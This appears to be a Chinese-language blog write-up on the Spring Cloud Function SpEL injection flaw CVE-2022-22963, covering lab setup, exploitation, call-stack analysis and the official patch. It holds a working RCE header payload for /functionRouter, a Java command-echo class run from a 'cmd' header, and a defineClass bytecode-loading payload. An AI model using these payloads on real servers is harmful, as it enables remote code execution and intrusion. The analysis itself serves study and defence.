Spring Cloud Function 是基于 Spring Boot 的函数计算框架。该项目致力于促进函数为主的开发单元,它抽象出所有传输细节和基础架构,并提供一个通用的模型,用于在各种平台上部署基于函数的软件

由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中的spring.cloud.function.routing-expression参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,攻击者可利用该漏洞远程执行任意代码

官方通告:https://spring.io/security/cve-2022-22963

影响版本:

  • 3.0.0.RELEASE <= Spring Cloud Function <= 3.1.6
  • Spring Cloud Function <= 3.2.2

不受影响版本:

  • Spring Cloud Function 3.1.7
  • Spring Cloud Function 3.2.3

环境搭建

可以借助Spring Initializr快速构建一个Demo,访问官网:https://start.spring.io/,然后ADD DEPENDENCIES添加 Function 和 Spring Web

修改pom.xml切换到存在漏洞的版本即可

1
2
3
4
5
6
7
8
9
10
11
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-function-context</artifactId>
<version>3.2.0</version>
</dependency>

<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-function-web</artifactId>
<version>3.2.0</version>
</dependency>

漏洞复现

使用特定的路由/functionRouter,然后在header处加入payload

1
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")

成功弹出计算器

回显

但是如果不出网,就要使用spring的回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringEcho {
static {
try {
Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getResponse");
Method m1 = c.getMethod("getRequest");
Object resp = m.invoke(o);
Object req = m1.invoke(o); // HttpServletRequest
Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
getHeader.setAccessible(true);
getWriter.setAccessible(true);
Object writer = getWriter.invoke(resp);
String cmd = (String)getHeader.invoke(req, "cmd");
String[] commands = new String[3];
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
commands[0] = "cmd";
commands[1] = "/c";
} else {
commands[0] = "/bin/sh";
commands[1] = "-c";
}
commands[2] = cmd;
writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A").next());
writer.getClass().getDeclaredMethod("flush").invoke(writer);
writer.getClass().getDeclaredMethod("close").invoke(writer);
} catch (Exception e) {

}

}
}

使用defineClass方式加载字节码

1
T(org.springframework.cglib.core.ReflectUtils).defineClass('SpringEcho',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA.....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()))

成功回显,注意这里header的大小不能超过8192字节

漏洞分析

漏洞触发点是在org.springframework.cloud.function.context.config.RoutingFunction#functionFromExpression,使用 StandardEvaluationContext 对象解析 SpEL 表达式的值,造成 SpEL 表达式注入

向上跟踪它的route方法,发现第一个参数来自请求头中的spring.cloud.function.routing-expression的值,可控

并且是通过它的apply方法触发this.route的,可以看到存在一个

1
public static final String FUNCTION_NAME = "functionRouter";

RoutingFunction 是 Function 接口的实现类,我们就要想办法触发到 RoutingFunction
官方文档:https://docs.spring.io/spring-cloud-function/docs/3.2.0/reference/html/spring-cloud-function.html#_function_routing_and_filtering

调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
functionFromExpression:196, RoutingFunction (org.springframework.cloud.function.context.config)
route:126, RoutingFunction (org.springframework.cloud.function.context.config)
apply:85, RoutingFunction (org.springframework.cloud.function.context.config)
doApply:698, SimpleFunctionRegistry$FunctionInvocationWrapper (org.springframework.cloud.function.context.catalog)
apply:550, SimpleFunctionRegistry$FunctionInvocationWrapper (org.springframework.cloud.function.context.catalog)
processRequest:108, FunctionWebRequestProcessingHelper (org.springframework.cloud.function.web.util)
get:115, FunctionController (org.springframework.cloud.function.web.mvc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
doInvoke:205, InvocableHandlerMethod (org.springframework.web.method.support)
invokeForRequest:150, InvocableHandlerMethod (org.springframework.web.method.support)
invokeAndHandle:117, ServletInvocableHandlerMethod (org.springframework.web.servlet.mvc.method.annotation)
invokeHandlerMethod:895, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation)
handleInternal:808, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation)
handle:87, AbstractHandlerMethodAdapter (org.springframework.web.servlet.mvc.method)
doDispatch:1072, DispatcherServlet (org.springframework.web.servlet)
doService:965, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:502, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:596, HttpServlet (javax.servlet.http)
internalDoFilter:209, ApplicationFilterChain (org.apache.catalina.core)
doFilter:153, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)
doFilter:153, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:100, RequestContextFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)
doFilter:153, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:93, FormContentFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)
doFilter:153, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)
doFilter:153, ApplicationFilterChain (org.apache.catalina.core)
invoke:167, StandardWrapperValve (org.apache.catalina.core)
invoke:90, StandardContextValve (org.apache.catalina.core)
invoke:492, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:130, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:389, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:926, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

特定路由RCE

来看一下为什么特定的/functionRouter路由会实现RCE

org.springframework.web.servlet.DispatcherServlet#doDispatch中,存在调用getHandler方法

这个方法会走到org.springframework.cloud.function.web.util.FunctionWebRequestProcessingHelper#findFunction

跟进doFindFunction方法

会根据path获取对应的function,如果获取的值为空,还会去读取本身配置中的 functionDefinition 获取 function 的值

org.springframework.cloud.function.web.mvc.FunctionController中使用/**监听Get/Post类型的所有路由

会调用org.springframework.cloud.function.web.util.FunctionWebRequestProcessingHelper#processRequest方法,继续跟进

可以看到通过wrapper获取到当前function,调用它的apply方法,跟进org.springframework.cloud.function.context.catalog.SimpleFunctionRegistry.FunctionInvocationWrapper#apply

调用doApply方法,继续跟进

调用((Function)this.target)的apply方法,这个target正好是RoutingFunction类

漏洞修复

https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f
官方的修复方法首先判断是否是从Header头中读取,为true的话就调用安全函数解析

使用SimpleEvaluationContext替换了StandardEvaluationContext

1
private final SimpleEvaluationContext headerEvalContext = SimpleEvaluationContext.forPropertyAccessors(DataBindingPropertyAccessor.forReadOnlyAccess()).build();

参考:
Spring Cloud Function SPEL表达式注入漏洞
Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马
Spring Cloud Function v3.x SpEL RCE